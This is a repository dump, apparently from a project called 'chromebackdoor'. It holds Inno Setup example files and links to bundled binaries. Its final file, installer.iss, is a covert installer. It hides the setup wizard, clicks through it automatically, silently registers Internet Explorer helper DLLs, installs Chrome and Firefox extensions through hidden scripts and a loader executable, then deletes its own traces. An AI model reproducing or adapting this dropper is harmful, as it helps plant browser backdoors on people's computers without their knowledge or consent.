CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {79237A5C-6C62-400A-BBDD-3DA1CA327973}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/C#/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("MyDll")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("MyDll")] 13 | [assembly: AssemblyCopyright("Copyright © 2015")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("711cc3c2-07db-46ca-b34b-ba06f4edcbcd")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/C#/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/C/MyDll.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void __stdcall MyDllFunc(HWND hWnd, char *lpText, char *lpCaption, UINT uType) 4 | { 5 | MessageBox(hWnd, lpText, lpCaption, uType); 6 | } -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/C/MyDll.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | MyDllFunc -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/C/MyDll.dsp: -------------------------------------------------------------------------------- 1 | # Microsoft Developer Studio Project File - Name="MyDll" - Package Owner=<4> 2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00 3 | # ** DO NOT EDIT ** 4 | 5 | # TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 6 | 7 | CFG=MyDll - Win32 Release 8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE, 9 | !MESSAGE use the Export Makefile command and run 10 | !MESSAGE 11 | !MESSAGE NMAKE /f "MyDll.mak". 12 | !MESSAGE 13 | !MESSAGE You can specify a configuration when running NMAKE 14 | !MESSAGE by defining the macro CFG on the command line. For example: 15 | !MESSAGE 16 | !MESSAGE NMAKE /f "MyDll.mak" CFG="MyDll - Win32 Release" 17 | !MESSAGE 18 | !MESSAGE Possible choices for configuration are: 19 | !MESSAGE 20 | !MESSAGE "MyDll - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library") 21 | !MESSAGE 22 | 23 | # Begin Project 24 | # PROP AllowPerConfigDependencies 0 25 | # PROP Scc_ProjName "" 26 | # PROP Scc_LocalPath "" 27 | CPP=cl.exe 28 | MTL=midl.exe 29 | RSC=rc.exe 30 | # PROP BASE Use_MFC 0 31 | # PROP BASE Use_Debug_Libraries 0 32 | # PROP BASE Output_Dir "Release" 33 | # PROP BASE Intermediate_Dir "Release" 34 | # PROP BASE Target_Dir "" 35 | # PROP Use_MFC 0 36 | # PROP Use_Debug_Libraries 0 37 | # PROP Output_Dir "." 38 | # PROP Intermediate_Dir "." 39 | # PROP Target_Dir "" 40 | # ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "MYDLL_EXPORTS" /YX /FD /c 41 | # ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "MYDLL_EXPORTS" /YX /FD /c 42 | # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 43 | # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 44 | # ADD BASE RSC /l 0x413 /d "NDEBUG" 45 | # ADD RSC /l 0x413 /d "NDEBUG" 46 | BSC32=bscmake.exe 47 | # ADD BASE BSC32 /nologo 48 | # ADD BSC32 /nologo 49 | LINK32=link.exe 50 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 51 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 52 | # Begin Target 53 | 54 | # Name "MyDll - Win32 Release" 55 | # Begin Group "Source Files" 56 | 57 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" 58 | # Begin Source File 59 | 60 | SOURCE=.\MyDll.c 61 | # End Source File 62 | # Begin Source File 63 | 64 | SOURCE=.\MyDll.def 65 | # End Source File 66 | # End Group 67 | # Begin Group "Header Files" 68 | 69 | # PROP Default_Filter "h;hpp;hxx;hm;inl" 70 | # End Group 71 | # Begin Group "Resource Files" 72 | 73 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" 74 | # End Group 75 | # End Target 76 | # End Project 77 | -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/Delphi/MyDll.dpr: -------------------------------------------------------------------------------- 1 | library MyDll; 2 | 3 | uses 4 | Windows; 5 | 6 | procedure MyDllFunc(hWnd: Integer; lpText, lpCaption: PAnsiChar; uType: Cardinal); stdcall; 7 | begin 8 | MessageBoxA(hWnd, lpText, lpCaption, uType); 9 | end; 10 | 11 | exports MyDllFunc; 12 | 13 | begin 14 | end. 15 | -------------------------------------------------------------------------------- /installer/inno/Examples/MyProg-x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/MyProg-x64.exe -------------------------------------------------------------------------------- /installer/inno/Examples/MyProg.chm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/MyProg.chm -------------------------------------------------------------------------------- /installer/inno/Examples/MyProg.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/MyProg.exe -------------------------------------------------------------------------------- /installer/inno/Examples/Readme-Dutch.txt: -------------------------------------------------------------------------------- 1 | Dit is het Leesmij bestand voor My Program. -------------------------------------------------------------------------------- /installer/inno/Examples/Readme-German.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/Readme-German.txt -------------------------------------------------------------------------------- /installer/inno/Examples/Readme.txt: -------------------------------------------------------------------------------- 1 | This is the README file for My Program. 2 | -------------------------------------------------------------------------------- /installer/inno/Examples/UninstallCodeExample1.iss: -------------------------------------------------------------------------------- 1 | ; -- UninstallCodeExample1.iss -- 2 | ; 3 | ; This script shows various things you can achieve using a [Code] section for Uninstall 4 | 5 | [Setup] 6 | AppName=My Program 7 | AppVersion=1.5 8 | DefaultDirName={pf}\My Program 9 | DefaultGroupName=My Program 10 | UninstallDisplayIcon={app}\MyProg.exe 11 | OutputDir=userdocs:Inno Setup Examples Output 12 | 13 | [Files] 14 | Source: "MyProg.exe"; DestDir: "{app}" 15 | Source: "MyProg.chm"; DestDir: "{app}" 16 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme 17 | 18 | [Code] 19 | function InitializeUninstall(): Boolean; 20 | begin 21 | Result := MsgBox('InitializeUninstall:' #13#13 'Uninstall is initializing. Do you really want to start Uninstall?', mbConfirmation, MB_YESNO) = idYes; 22 | if Result = False then 23 | MsgBox('InitializeUninstall:' #13#13 'Ok, bye bye.', mbInformation, MB_OK); 24 | end; 25 | 26 | procedure DeinitializeUninstall(); 27 | begin 28 | MsgBox('DeinitializeUninstall:' #13#13 'Bye bye!', mbInformation, MB_OK); 29 | end; 30 | 31 | procedure CurUninstallStepChanged(CurUninstallStep: TUninstallStep); 32 | begin 33 | case CurUninstallStep of 34 | usUninstall: 35 | begin 36 | MsgBox('CurUninstallStepChanged:' #13#13 'Uninstall is about to start.', mbInformation, MB_OK) 37 | // ...insert code to perform pre-uninstall tasks here... 38 | end; 39 | usPostUninstall: 40 | begin 41 | MsgBox('CurUninstallStepChanged:' #13#13 'Uninstall just finished.', mbInformation, MB_OK); 42 | // ...insert code to perform post-uninstall tasks here... 43 | end; 44 | end; 45 | end; 46 | -------------------------------------------------------------------------------- /installer/inno/ISCC.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISCC.exe -------------------------------------------------------------------------------- /installer/inno/ISCmplr.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISCmplr.dll -------------------------------------------------------------------------------- /installer/inno/ISPP.chm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISPP.chm -------------------------------------------------------------------------------- /installer/inno/ISPP.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISPP.dll -------------------------------------------------------------------------------- /installer/inno/ISetup.chm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISetup.chm -------------------------------------------------------------------------------- /installer/inno/Languages/BrazilianPortuguese.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/BrazilianPortuguese.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Catalan.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Catalan.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Corsican.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Corsican.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Czech.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Czech.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Danish.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Danish.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Dutch.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Dutch.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Finnish.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Finnish.isl -------------------------------------------------------------------------------- /installer/inno/Languages/French.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/French.isl -------------------------------------------------------------------------------- /installer/inno/Languages/German.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/German.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Greek.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Greek.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Hebrew.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Hebrew.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Hungarian.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Hungarian.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Italian.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Italian.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Japanese.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Japanese.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Norwegian.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Norwegian.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Polish.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Polish.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Portuguese.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Portuguese.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Russian.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Russian.isl -------------------------------------------------------------------------------- /installer/inno/Languages/ScottishGaelic.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/ScottishGaelic.isl -------------------------------------------------------------------------------- /installer/inno/Languages/SerbianCyrillic.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/SerbianCyrillic.isl -------------------------------------------------------------------------------- /installer/inno/Languages/SerbianLatin.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/SerbianLatin.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Slovenian.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Slovenian.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Spanish.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Spanish.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Turkish.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Turkish.isl -------------------------------------------------------------------------------- /installer/inno/Languages/Ukrainian.isl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Ukrainian.isl -------------------------------------------------------------------------------- /installer/inno/Setup.e32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Setup.e32 -------------------------------------------------------------------------------- /installer/inno/SetupLdr.e32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/SetupLdr.e32 -------------------------------------------------------------------------------- /installer/inno/WizModernImage-IS.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/WizModernImage-IS.bmp -------------------------------------------------------------------------------- /installer/inno/WizModernImage.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/WizModernImage.bmp -------------------------------------------------------------------------------- /installer/inno/WizModernSmallImage-IS.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/WizModernSmallImage-IS.bmp -------------------------------------------------------------------------------- /installer/inno/WizModernSmallImage.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/WizModernSmallImage.bmp -------------------------------------------------------------------------------- /installer/inno/isbunzip.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/isbunzip.dll -------------------------------------------------------------------------------- /installer/inno/isbzip.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/isbzip.dll -------------------------------------------------------------------------------- /installer/inno/islzma.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/islzma.dll -------------------------------------------------------------------------------- /installer/inno/islzma32.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/islzma32.exe -------------------------------------------------------------------------------- /installer/inno/islzma64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/islzma64.exe -------------------------------------------------------------------------------- /installer/inno/isscint.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/isscint.dll -------------------------------------------------------------------------------- /installer/inno/isunzlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/isunzlib.dll -------------------------------------------------------------------------------- /installer/inno/iszlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/iszlib.dll -------------------------------------------------------------------------------- /installer/inno/license.txt: -------------------------------------------------------------------------------- 1 | Inno Setup License 2 | ================== 3 | 4 | Except where otherwise noted, all of the documentation and software included 5 | in the Inno Setup package is copyrighted by Jordan Russell. 6 | 7 | Copyright (C) 1997-2016 Jordan Russell. All rights reserved. 8 | Portions Copyright (C) 2000-2016 Martijn Laan. All rights reserved. 9 | 10 | This software is provided "as-is," without any express or implied warranty. 11 | In no event shall the author be held liable for any damages arising from the 12 | use of this software. 13 | 14 | Permission is granted to anyone to use this software for any purpose, 15 | including commercial applications, and to alter and redistribute it, 16 | provided that the following conditions are met: 17 | 18 | 1. All redistributions of source code files must retain all copyright 19 | notices that are currently in place, and this list of conditions without 20 | modification. 21 | 22 | 2. All redistributions in binary form must retain all occurrences of the 23 | above copyright notice and web site addresses that are currently in 24 | place (for example, in the About boxes). 25 | 26 | 3. The origin of this software must not be misrepresented; you must not 27 | claim that you wrote the original software. If you use this software to 28 | distribute a product, an acknowledgment in the product documentation 29 | would be appreciated but is not required. 30 | 31 | 4. Modified versions in source or binary form must be plainly marked as 32 | such, and must not be misrepresented as being the original software. 33 | 34 | 35 | Jordan Russell 36 | jr-2010 AT jrsoftware.org 37 | http://www.jrsoftware.org/ 38 | -------------------------------------------------------------------------------- /installer/inno/unins000.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/unins000.dat -------------------------------------------------------------------------------- /installer/inno/unins000.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/unins000.exe -------------------------------------------------------------------------------- /installer/inno/unins000.msg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/unins000.msg -------------------------------------------------------------------------------- /installer/installer.iss: -------------------------------------------------------------------------------- 1 | 2 | [Setup] 3 | AppId="Installer" 4 | AppPublisher="Installer Publisher" 5 | AppName="Extensions" 6 | AppVerName="Extensions-0.3.5.12" 7 | VersionInfoVersion="0.3.5.12" 8 | DefaultDirName={localappdata}\extensions_test\0.3.5.12 9 | OutputBaseFilename=setup 10 | PrivilegesRequired="admin" 11 | 12 | DisableStartupPrompt=yes 13 | DisableDirPage=yes 14 | DisableFinishedPage=yes 15 | DisableProgramGroupPage=yes 16 | DisableReadyMemo=yes 17 | DisableReadyPage=yes 18 | DisableWelcomePage=yes 19 | AllowNoIcons=yes 20 | OutputDir=. 21 | Compression=lzma 22 | SolidCompression=yes 23 | 24 | 25 | [Files] 26 | Source: "ff\*.xpi"; DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist; 27 | Source: "ff\install.cmd"; DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist; 28 | Source: "ff\ff.js"; DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist; 29 | 30 | Source: "ie\bhoX32.dll"; DestDir: "{app}\i"; Flags: regserver 32bit replacesameversion skipifsourcedoesntexist; 31 | Source: "ie\bhoX64.dll"; DestDir: "{app}\i"; Flags: regserver 64bit replacesameversion skipifsourcedoesntexist; Check: IsWin64; 32 | Source: "ie\script.js"; DestDir: "{app}\i"; Flags: replacesameversion skipifsourcedoesntexist; 33 | Source: "ie\install.cmd"; DestDir: "{app}\i"; Flags: replacesameversion skipifsourcedoesntexist; 34 | 35 | Source: "ch\install.cmd"; DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist; 36 | Source: "ch\test.crx"; DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist; 37 | Source: "ch\loader.exe"; DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist; 38 | 39 | Source: "del.cmd"; DestDir: "{app}"; Flags: replacesameversion; 40 | 41 | [Run] 42 | Filename: "{app}\c\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist 43 | Filename: "{app}\f\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist 44 | Filename: "{app}\i\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist 45 | Filename: "{app}\del.cmd"; Parameters: """{srcexe}"" ""{app}\f"" ""{app}\c"" ""{app}\i\install.cmd"""; Flags: shellexec runhidden nowait skipifdoesntexist 46 | 47 | [Code] 48 | const 49 | BN_CLICKED = 0; 50 | WM_COMMAND = $0111; 51 | CN_BASE = $BC00; 52 | CN_COMMAND = CN_BASE + WM_COMMAND; 53 | WM_SHOWWINDOW = $0018; 54 | CN_HIDE = CN_BASE + WM_SHOWWINDOW; 55 | 56 | procedure CurPageChanged(CurPageID: Integer); 57 | var 58 | Param: Longint; 59 | begin 60 | // send hide to every window 61 | PostMessage(WizardForm, CN_HIDE, 0, 0); 62 | // if we are on the ready page, then... 63 | if CurPageID = wpReady then 64 | begin 65 | // the result of this is 0, just to be precise... 66 | Param := 0 or BN_CLICKED shl 16; 67 | // post the click notification message to the next button 68 | PostMessage(WizardForm.NextButton.Handle, CN_COMMAND, Param, 0); 69 | end; 70 | end; 71 | -------------------------------------------------------------------------------- /version.txt: -------------------------------------------------------------------------------- 1 | 3.0 2 | --------------------------------------------------------------------------------